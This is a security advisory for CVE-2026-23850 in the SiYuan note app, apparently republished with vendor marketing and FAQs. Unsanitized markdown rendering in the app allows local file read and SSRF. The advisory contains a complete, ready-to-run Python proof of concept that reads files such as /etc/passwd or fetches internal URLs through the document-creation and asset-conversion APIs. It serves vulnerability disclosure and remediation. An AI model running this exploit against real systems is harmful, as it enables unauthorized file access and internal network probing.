Summary
Markdown feature allows unrestricted server side html-rendering which allows arbitary file read (LFD) and fully SSRF access
We in @0xL4ugh ( @abdoghazy2015, @xtromera, @A-z4ki, @ZeyadZonkorany and @KarimTantawey) During playing Null CTF 2025 that helps us solved a challenge with unintended way : )
Please note that we used the latest Version and deployed it via this dockerfile :
Dockerfile:
FROM b3log/siyuan
ENV TZ=America/New_York \
PUID=1000 \
PGID=1000 \
SIYUAN_ACCESS_AUTH_CODE=SuperSecretPassword
RUN mkdir -p /siyuan/workspace
COPY ./startup.sh /opt/siyuan/startup.sh
RUN chmod +x /opt/siyuan/startup.sh
EXPOSE 6806
ENTRYPOINT ["sh", "-c", "/opt/siyuan/startup.sh"]
startup.sh
#!/bin/sh
set -e
echo "nullctf{secret}" > "/flag_random.txt"
exec ./entrypoint.sh
docker-compose.yaml:
services:
main:
build: .
ports:
- 6806:6806
restart: unless-stopped
environment:
- TZ=America/New_York
- PUID=1000
- PGID=1000
container_name: archivists_whisper
Details
As you can see here : https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886
in createDocWithMd function
the markdown parameter is being passed to the model.CreateWithMarkdown without any sanitization
while here : https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035 the input is being passed to luteEngine.Md2BlockDOM(md, false) without any sanitization too
PoC
Here is a full Python POC ready to run
import requests, sys, os
if len(sys.argv) >= 5 :
TARGET = sys.argv[1].rstrip("/")
PASSWORD = sys.argv[2]
attack_type = sys.argv[3]
if attack_type == "LFD":
file_path = f"file://{sys.argv[4]}"
elif attack_type == "SSRF":
file_path = f"{sys.argv[4]}"
else:
sys.exit(f"Usage : python3 {sys.argv[0]} http://target password LFD/SSRF filepath/link")
TARGET = "http://127.0.0.1:6806"
PASSWORD = "SuperSecretPassword" # Workgroup password
file_path = "/etc/passwd" # file to read
s = requests.Session()
def login():
s.post(f"{TARGET}/api/system/loginAuth", json={"authCode": PASSWORD, "rememberMe": True})
def list_notebooks():
res = s.post(f"{TARGET}/api/notebook/lsNotebooks").json()
notebooks = res["data"]["notebooks"]
if not notebooks:
raise RuntimeError("No notebooks found, create one in the UI first")
notebook = notebooks[0]["id"]
return notebook
def file_to_md(notebook, file_path):
doc_id = s.post(
f"{TARGET}/api/filetree/createDocWithMd",
json={
"notebook": notebook,
"path": "/pwn",
"markdown": f"[loot]({file_path})"
},
).json()["data"]
return doc_id
def convert_file_to_asset(doc_id):
res = s.post(f"{TARGET}/api/format/netAssets2LocalAssets", json={"id": doc_id})
# print(f"Debug : convert", res.text)
def get_new_file_name_from_assets(file_path):
res = s.post(f"{TARGET}/api/file/readDir", json={"path": "/data/assets"}).json()["data"]
if attack_type == "LFD":
new_file_name = f"network-asset-{os.path.splitext(os.path.basename(file_path))[0]}-"
else:
new_file_name = f"network-asset-{os.path.basename(file_path)}-"
# print(new_file_name)
for file in res:
# print(file["name"])
if new_file_name in file["name"]:
return file["name"]
def retrieve_file_content(file_name):
return s.get(f"{TARGET}/assets/{file_name}").text
login()
notebook = list_notebooks()
doc_id = file_to_md(notebook, file_path)
# print(f"Debug : Docid", doc_id)
convert_file_to_asset(doc_id)
file_name = get_new_file_name_from_assets(file_path)
file_content = retrieve_file_content(file_name)
if len(file_content) > 0 :
print("Content : ", file_content)
else:
print(f"Failed to get {file_name} try to get it manually, probably we failed to predict the new file name")
File read
SSRF :
We spawned a python server at /tmp : 4444 and requested it the result is we could successfuly read a file from http://127.0.0.1/ghazy
Impact
As shown above, we could sucessfully read any file in the system and reach any internal host via SSRF : )
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Frequently Asked Questions
- What is CVE-2026-23850? CVE-2026-23850 is a high-severity path traversal vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions < 0.0.0-20260118092326-b2274baba2e1. It is fixed in 0.0.0-20260118092326-b2274baba2e1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- Which versions of github.com/siyuan-note/siyuan/kernel are affected by CVE-2026-23850? github.com/siyuan-note/siyuan/kernel (go) versions < 0.0.0-20260118092326-b2274baba2e1 is affected.
- Is there a fix for CVE-2026-23850? Yes. CVE-2026-23850 is fixed in 0.0.0-20260118092326-b2274baba2e1. Upgrade to this version or later.
- Is CVE-2026-23850 exploitable, and should I be worried? Whether CVE-2026-23850 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-23850 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-23850? Upgrade
github.com/siyuan-note/siyuan/kernelto 0.0.0-20260118092326-b2274baba2e1 or later.